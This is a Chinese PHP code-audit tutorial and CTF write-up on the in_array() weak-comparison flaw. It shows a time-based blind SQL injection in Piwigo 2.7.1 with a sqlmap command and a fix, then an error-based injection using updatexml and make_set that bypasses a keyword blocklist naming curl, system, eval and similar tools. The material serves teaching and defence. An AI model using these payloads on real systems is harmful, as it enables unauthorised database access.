参考:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day1/files/README.md

in_array()函数

官方解释:

1
in_array(mixed $needle, array $haystack, bool $strict = false): bool

大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。

noodle为字符串时会区分大小写

当第三个参数为true时会进行强比较===,返回为弱比较==,默认为false

Demo:

这段代码考察任意文件上传漏洞,其中in_array()用于检测我们的文件名是否是数字1~24,然后,由于in_array()默认第三个参数为false,即弱比较,所以当我们上传文件名为1shell.php时,当in_array()进行比较时,会强制把1shell.php类型转换为1,从而绕过

实例分析

环境搭建

源码:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day1/files/piwigo-2.7.1.zip

  • Apache 2.4.39
  • MySQL 5.5.29
  • php 5.6.9

审计

漏洞的入口在picture.php 中,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

define('PHPWG_ROOT_PATH','./');
include_once(PHPWG_ROOT_PATH.'include/common.inc.php');
include(PHPWG_ROOT_PATH.'include/section_init.inc.php');
include_once(PHPWG_ROOT_PATH.'include/functions_picture.inc.php');
…………………………………………………………………………………………………………………………………………………………………………………………………………
// +-----------------------------------------------------------------------+
// | actions |
// +-----------------------------------------------------------------------+

/**
* Actions are favorite adding, user comment deletion, setting the picture
* as representative of the current category...
*
* Actions finish by a redirection
*/

if (isset($_GET['action']))
{
switch ($_GET['action'])
{
case 'add_to_favorites' :
{
$query = '
INSERT INTO '.FAVORITES_TABLE.'
(image_id,user_id)
VALUES
('.$page['image_id'].','.$user['id'].')
;';
pwg_query($query);

redirect($url_self);

break;
}
…………………………………………………………………………………………………………………………………………………………………………………………………………
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}

$_GET['action']为rate时,会调用文件include/functions_rate.inc.php中的 rate_picture方法,而漏洞就在该方法中

include/functions_rate.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function rate_picture($image_id, $rate)
{
global $conf, $user;

if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
…………………………………………………………………………………………………………………………………………………………………………………………………………
if ($user_anonymous)
{
$query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
}
pwg_query($query);
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';

可以看到下图第23行处直接拼接了$rate变量,而第二行使用in_array()函数对$rate变量进行检测,判断是否$rate是否在$conf[‘rate_items’]中,**$conf[‘rate_items’]** 的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);
image-20251018212826340

image-20251018213112482

由于这里in_array()函数第三个参数默认为false,所以是弱比较,可以绕过。比如我们将$rate的值设置成1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:

1
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

从而就能进行盲注了

这样就可以进行盲注了,如果上面的代码你看的比较乱的话,可以看下面简化后的代码:

4

漏洞复现

sqlmap:

1
sqlmap -u "http://127.0.0.1/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch

5

修复建议

可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,代码及防护效果如下:

6

CTF例题练习

环境搭建

phpstudy搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

数据库创建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

image-20251018214658759

WP

看源码他会通过in_array来检测我们id是否在$whitelist内:

1
$whitelist = range(1, $row['COUNT(*)']);

即需要在1~5中,由于默认为false,所以可以使用弱比较绕过

同时过滤了一些关键字:

1
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";

但不影响,报错注入即可,但这里过滤了拼接函数,POC:

1
?id=1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

make_set(bitmask, str1, str2, ...) 根据位掩码返回字符串集合,由于3 的二进制是 11,所以会选择第1个和第2个参数,即实际返回'~', (select flag from flag)

image-20251018221013027